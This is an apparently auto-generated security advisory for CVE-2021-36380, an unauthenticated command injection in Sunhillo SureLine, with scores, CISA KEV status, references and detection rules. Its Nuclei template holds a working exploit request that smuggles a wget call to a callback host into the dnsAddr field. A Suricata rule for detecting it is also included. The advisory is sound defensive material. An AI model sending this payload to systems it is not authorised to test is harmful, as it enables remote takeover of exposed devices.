CVE-2021-36380: Sunhillo SureLine exploited

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

Sunhillo SureLine before 8.7.0.1.1 allows Unauthenticated OS Command Injection via shell metacharacters in ipAddr or dnsAddr /cgi/networkDiag.cgi.

Description quoted from the CVE record (assigned by mitre, published 2021-08-13).

Weakness: CWE-78 Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since: 2024-03-05
US federal deadline: 2024-03-26
Ransomware use: Not known

Public exploit evidence (Exploit Observer)

Exploit Observer found 1 Nuclei template, 5 code repositories and 1 research write-up naming this CVE.

Nuclei template (ProjectDiscovery)

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 13 references on Exploit Observer

Live scores

EPSS: 0.978
very likely to be attacked soon
VEDAS: 0.985
strong exploit evidence
On CISA KEV: Yes, since 2024-03-05
Detection rule: Nuclei · Suricata

EPSS (chance of attack)

VEDAS (exploit evidence)

Thin horizontal line: the “likely exploited” threshold (EPSS 0.10, VEDAS 0.5). Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

Product	Affected	Not affected
Not stated	versions not stated in the record	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

CISA required action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Sunhillo SureLine - Command Injection
Sunhillo SureLine before 8.7.0.1.1 allows Unauthenticated OS Command Injection via shell metacharacters in ipAddr or dnsAddr /cgi/networkDiag.cgi.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /cgi/networkDiag.cgi); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2021-36380.yaml

Show the template (33 lines)

yaml

id: CVE-2021-36380

info:
  name: "Sunhillo SureLine - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Sunhillo SureLine before 8.7.0.1.1 allows Unauthenticated OS Command Injection via shell metacharacters in
    ipAddr or dnsAddr /cgi/networkDiag.cgi.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2021-36380&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=sureline&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-36380
    cwe-id: CWE-78
  metadata:
    verified: false
  tags: cve2021,cve,sureline,rce,oast,sunhillo,kev,vkev,vuln
http:
  - raw:
      - |
        POST /cgi/networkDiag.cgi HTTP/1.1
        Host: {{Hostname}}

        command=2&ipAddr=&dnsAddr=$(wget+http://{{interactsh-url}})&interface=0&netType=0&scrFilter=&dstFilter=&fileSave=false&pcapSave=false&fileSize=

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

CVE-2021-36380.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2021-36380 Sunhillo SureLine - Command Injection. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2021-36380 Sunhillo SureLine - Command Injection"; flow:established,to_server; http.uri; content:"networkDiag.cgi"; nocase; http.request_body; content:"http://"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2021-36380; reference:url,https://www.exploit.observer/?keyword=CVE-2021-36380&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=sureline&match=exact; sid:1003022; rev:2;)

CVE-2021-36380.rules on GitHub

Advisories on this CVE

“ClingSTUN” Linux backdoor turns IoT devices into proxy nodes and hides its C2 inside public STUN traffic (full advisory)

References

Government sources

https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-36380 (government-resource)

Other references

https://www.sunhillo.com/product/sureline/ (x_refsource_MISC)
https://research.nccgroup.com/2021/07/26/technical-advisory-sunhillo-sureline-unauthenticated-os-command-injection-cve-2021-36380/ (x_refsource_MISC)

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.